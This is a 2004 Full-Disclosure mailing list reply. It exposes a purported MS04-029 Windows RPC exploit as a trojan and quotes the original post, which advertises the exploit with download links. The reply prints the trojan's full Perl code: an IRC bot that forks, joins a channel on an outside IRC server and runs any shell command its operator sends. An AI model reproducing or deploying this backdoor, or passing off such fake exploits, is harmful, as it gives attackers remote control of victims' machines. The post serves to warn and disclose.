Re: New Remote Windows Exploit (MS04-029)

[KF_lists <kf_lists () secnetops com>]

its a trojan...

kfinisterre@linux:~> strings /tmp/hi
#!/usr/bin/perl
$chan="#0x";$nick="k";$server="ir3ip.net";$SIG{TERM}={};exit if fork;use 
IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print 
$sock "USER k +i k :kv1\nNICK k\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) 
/){$mode=$1;last if 
$mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK 
$nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan 
:Hi\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN 
$chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* 
(.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG 
$chan :$_\n";sleep 1;}}}#/tmp/hi

-KF


Max Load wrote:
> /*
>  *  Date: 2004/10/30
>  *  Maxload load_max () yahoo com
>  *
>  *  Exploit for \"Vulnerability in RPC Runtime Library\"
>  *  http://www.microsoft.com/technet/security/bulletin/MS04-029.mspx
>  *
>  *  Tested Against:
>  *  Windows 2000 (SP3 SP4)
>  *  Windows XP (SP1 SP2)
>  *  Windows NT4 (SP6a)
>  *
>  *  EXPLOIT IS PROVIDED FOR EDUCATIONAL PURPOSES ONLY AS A PROOF OF CONCEPT
>  *  I TAKE NO RESPONSIBILITY FOR ANY USE OF THIS CODE.
>  *
>  *
>  *  Instructions:
>  *
>  *  [user@localhost] $ gcc -o maxload maxload.c
>  *  [user@localhost] $ ./maxload
>  *  *** MaxLoad (windows rpc exploit) v.1 ***
>  *
>  *  For educational propose only!
>  *  error: you must enter a valid ip
>  *  usage:./maxload [IP-ADDRESS]
>  *  e.g: ./maxload 192.168.1.23
>  *
>  *
>  *  [user@localhost] $ ./maxload 192.168.1.2
>  *  *** MaxLoad (windows rpc exploit) v.1 ***
>  *  For educational propose only!
>  *  Succes! Try connect to 192.168.1.2 port 31337
>  *
>  *
>  *  [user@localhost] $ telnet 192.168.1.2 31337
>  *  Connected to 192.168.1.2.
>  *  Escape character is \'^]\'.
>  *
>  *  Microsoft Windows XP [Version 5.1.2600]
>  *  © Copyright 1985-2001 Microsoft Corp.
>  *
>  *  C:\\>
>  *
>  * Bang, here you go, administrative access..
>  *
>  */
>
> Do i need too say more :D
>
> https://fri-adgang.dk/?get=1056]maxload.c (source code)
> https://fri-adgang.dk/?get=1055]maxload (linux static binary)
>
> -MaxLoad
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html